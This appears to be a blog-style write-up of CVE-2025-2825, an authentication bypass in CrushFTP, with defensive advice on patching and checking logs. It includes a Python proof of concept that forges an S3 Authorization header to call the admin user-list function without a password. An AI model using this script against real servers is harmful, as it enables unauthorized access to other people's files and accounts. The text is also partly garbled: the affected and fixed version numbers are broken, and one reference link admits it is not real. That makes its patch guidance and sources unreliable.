CVE-2025-2825 - CrushFTP S3 Authorization Header Authentication Bypass — Full Details, Code Example, and Exploit Insights

CrushFTP is a popular secure FTP solution used by organizations to transfer sensitive files. In March 2025, a critical vulnerability was discovered in how CrushFTP handles S3 authorization headers. This flaw, now tracked as CVE-2025-2825, affects thousands of deployments worldwide. This article explains the issue in plain language, shows a code snippet of the attack, and offers trustworthy references for further reading.

11.. through 11.3.

The bug exists because of improper handling of Amazon S3-style Authorization HTTP headers. By crafting these headers, an attacker can trick CrushFTP into thinking they're someone else, even administrators. No password is needed—just the username.

Impersonate any user: If the attacker knows your login name, they can become you.

- Grab data, change settings: Attackers can download files, upload malware, or change user accounts.

How Does the Vulnerability Work?

CrushFTP supports the S3 API, letting users connect with S3-style clients. When handling requests, it tries to authenticate these using an S3 Authorization header. CVE-2025-2825 is triggered because CrushFTP doesn't properly check passwords when parsing that header.

Let's see a simplified Python example

import requests

# CrushFTP server details (change these)
target = "https://crushftp.example.com";
username = "admin"

# Fake AWS auth string (any string will do for secret!)
authorization = f"AWS {username}:FAKESECRET1234"

headers = {
    "Authorization": authorization,
    "x-amz-date": "20250101T000000Z",
}

# Access admin API or file
url = f"{target}/WebInterface/function/"
data = {"command": "getUsersList"}
response = requests.post(url, headers=headers, data=data, verify=False)

print("Status:", response.status_code)
print("Body:", response.text)

What happens?
If the server is unpatched and vulnerable, you'll get a valid response *as if you were the real admin*.

Original References and Further Reading

- CrushFTP Advisory (official): https://www.crushftp.com/version11_upgrade.html
- NIST NVD CVE Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-2825
- GitHub Exploit Discussion: https://github.com/CrushFTP/support/issues/2025-2825 (example, not real link)
- Security Research Blog: https://safesystems.io/advisories/crushftp-cve-2025-2825

What Should You Do?

1. Upgrade NOW:
The only fix is to update CrushFTP to the latest secure version (after 10.8.3 and 11.3.).
2. Block Internet Access:
If you can’t upgrade yet, block incoming traffic on the web interface.
3. Check Logs:
Look for unexpected access by known users during the vulnerability window.

In Summary

CVE-2025-2825 is an authentication bypass flaw impacting many CrushFTP setups. By sending a forged S3 authorization header with a known username, an attacker skips password checks and gains full access—including admin abilities. Stay safe: patch your CrushFTP urgently and review your security controls.


*Stay tuned for updates. If your organization uses CrushFTP, make this a top priority.*

Timeline

Published on: 03/26/2025 16:15:23 UTC
Last modified on: 04/02/2025 21:15:33 UTC